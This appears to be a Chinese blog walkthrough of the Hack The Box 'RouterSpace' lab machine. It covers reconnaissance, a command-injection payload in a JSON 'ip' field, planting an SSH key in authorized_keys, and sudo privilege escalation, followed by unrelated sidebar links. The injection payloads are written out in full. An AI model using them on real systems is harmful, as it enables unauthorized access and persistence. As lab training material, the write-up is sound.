当前位置:网站首页>hack the box:RouterSpace题解
hack the box:RouterSpace题解
2022-06-28 07:01:00 【zr1213159840】
先是正常的扫描,nmap,masscan,whatweb都上。
nmap -Pn -A 10.10.11.148
masscan --ports 10.10.11.148
whatweb 10.10.11.148
总结出如下信息:
1.开放了22和80端口
2.whatweb信息如下:
3.打开页面看看
以上总结出的信息没有太大作用,爆破下目录看看
dirsearch -u 10.10.11.148
发现这几个路径
随便输入一个进入后发现,会被拦截,此时第一个想法是绕过,尝试了大小写等各种方法,发现无法绕过,重放改包也不行。
第二个想法来自于点击右上角的download,会显示下载的路径,同时会下载下来apk的包。
尝试越权,也没用,完了,我不会,开摆了。
既然有app的话,那不如下载下来看看,用一些apk的分析工具分析一下看看,用的是apkanalyser。可以自行下载使用。
新建一个apps文件夹,然后将下载下来的文件进行解析,查找url等等相关信息,也没找到什么有用的。
但是,在运行期间,发现了这个,有点熟悉啊
routerspace.htb
因为被这个折磨过太多次,印象太深了,编辑hosts文件,然后访问试试。
tmd,还是原来的界面,这没法玩了。
不会要对app进行抓包吧?
根据这个链接,安装fiddler+夜神模拟器,下载提供的app,安装后抓包。
https://blog.csdn.net/21aspnet/article/details/103977908
界面
获取到的包从fiddler中转出,能发现只存在一个请求,就是点击上图的check status按钮发出的。

导出后如下图所示
放入bp中重放一下试试
执行下命令,发现能执行!
好了,这下有操作空间了。
我的第一想法是直接读取shadow文件进行密码破解,但是发现无法回显,什么都没有。
passwd以及group文件都可以查看,sudoers不行

由于打开了22端口,那能不能动一下.ssh文件呢?尝试一下
改包
{"ip":"0.0.0.0|echo test >/home/paul/.ssh/123.txt|ls -al /home/paul/.ssh/"}
发现能写入
与之前出现过的靶机相同,我们可以修改.ssh文件,然后通过ssh登录进去。原理步骤可参考这个链接
https://www.csdn.net/tags/OtTaQgwsMTk4MDctYmxvZwO0O0OO0O0O.html
本地生成id_rsa文件,然后将这个文件内容写入到靶机的.ssh文件夹下面
本地kali执行
ssh-keygen -t id_rsa
cat id_rsa


使用bp写入靶机.ssh文件夹中
{"ip":"0.0.0.0|echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBAxsuWvSvZCfCUmzJ5MMPv911a1pligTpQIo7M4RUMCDLKh4tA+bWIoOb72U5C6QBiFAnYaKRlmRqCnk5gS+WoKP4sI4ADln6or8u6+jqtW7qx+CGK9uG8p7du3TxN7KZw6YVrJxaASkPluKibgwEmqlVjHfWdwW0ZEJaqr/JFjqmEseKvVdWeFS6aq/m54rhlE8cQnYQg3csnO5I73/FSH1U1sOWir8fdht1zi19x5Yay+lWOBIYH/cNIBtE+Kw1br3OKmkcEhA9YV8K1wBh33AFrpwMrAD+PcsPmqYnav/r2raRA/LUrIXm8SmQsRgsW96DaBcUUMAP1DuJXo+dh0gb5BPCd2xa+chGZEjp3VuLI71K3u4d7ByHa60bRQ25SjK1OL6fo3TuSwCto5r5d16Ci1XG7k45YwB9jhhLLaOdbFyHzNxjQhUEVTkKoq1a5LvFjcD+ZS/4BN1yozD0TaCoY8CkgkGwOLc1hrgNsdZjH7zkI36/EwyMWASf9vE= [email protected]' >/home/paul/.ssh/authorized_keys|ls -al /home/paul/.ssh/"}
修改一下文件权限
{"ip":"0.0.0.0|chmod 700 /home/paul/.ssh/authorized_keys"}

在kali上登录,进入靶机
ssh [email protected] -i /home/kali/Desktop/id_rsa

拿到用户的flag
下面就要提权,拿到root的flag,提权使用linpeas.sh,这个地方不给使用wget,虽然有nc,但是我怎么都连接不了,无奈之下只好复制粘贴了,笨人有笨方法。
复制粘贴后运行linpeas.sh
vi linpeas.sh
粘贴复制的内容
./linpeas.sh

通过测试,可以使用旧版本的sudo提权
顺着sudo提权找到这个链接
分别复制粘贴以下几个文件的内容,直接提权成功!
拿到最终的key
参考了以下内容:
https://blog.csdn.net/weixin_45007073/article/details/123341343
边栏推荐
- 面经---测试工程师web端自动化---大厂面试题
- Jinshan cloud team shared | 5000 words to understand how Presto matches with alluxio
- 自律挑战30天
- 语音增强-频谱映射
- Force buckle 515 Find the maximum value in each tree row
- KMP string
- 2021 VDC: technological architecture evolution of vivo Internet service for 100 million users | PPT download attached
- MySQL master-slave replication, detailed configuration, create unable to connect processing prompt
- Leetcode+ 66 - 70 high precision, two sub topics
- [interval DP] stone consolidation
猜你喜欢

推荐几款0代码、免费、现学现用的可视化工具

Compilation principles final review

Freeswitch uses origin to dialplan

Hungry for a long time, the brain will enter the "power saving mode"! Your senses are weakened and you can't see clearly

My MVVM open source project "travel epidemic prevention app" has been released

LeetCode+ 51 - 55 回溯、动态规划专题

Pfizer's new Guankou medicine has entered the Chinese market, and the listing of relevant products of domestic pharmaceutical enterprises is just around the corner

MySQL installation steps - Linux configuration file JDK installation (II)

PLC -- 笔记

eyebeam高级设置
随机推荐
2021 VDC: technological architecture evolution of vivo Internet service for 100 million users | PPT download attached
Yesterday, I went to a large factory for an interview and asked me to do four arithmetic operations. Fortunately, I am smart enough
C language tutorial
【Rust翻譯】從頭實現Rust异步執行器
Speech enhancement - spectrum mapping
Recommend several 0 code, free, learning and using visualization tools
炒股开户在手机上安全吗?
Libuv框架echo-server.c源码详解(TCP部分)
选拔赛题目代码
Is it safe to open a stock trading account on your mobile phone?
[rust translation] implement rust asynchronous actuator from scratch
KMP string
MMR重排(相似度通过编辑距离和重复度计算)
VM332 WAService. js:2 Error: _ vm. Changetabs is not a function
同花顺网上开户安全吗
XML序列化向后兼容
文件头信息对照表
Rn7302 three-phase electric quantity detection (based on STM32 single chip microcomputer)
What if the applet page is set to 100% height or left blank?
What is a consistent hash? What scenarios can it be applied to?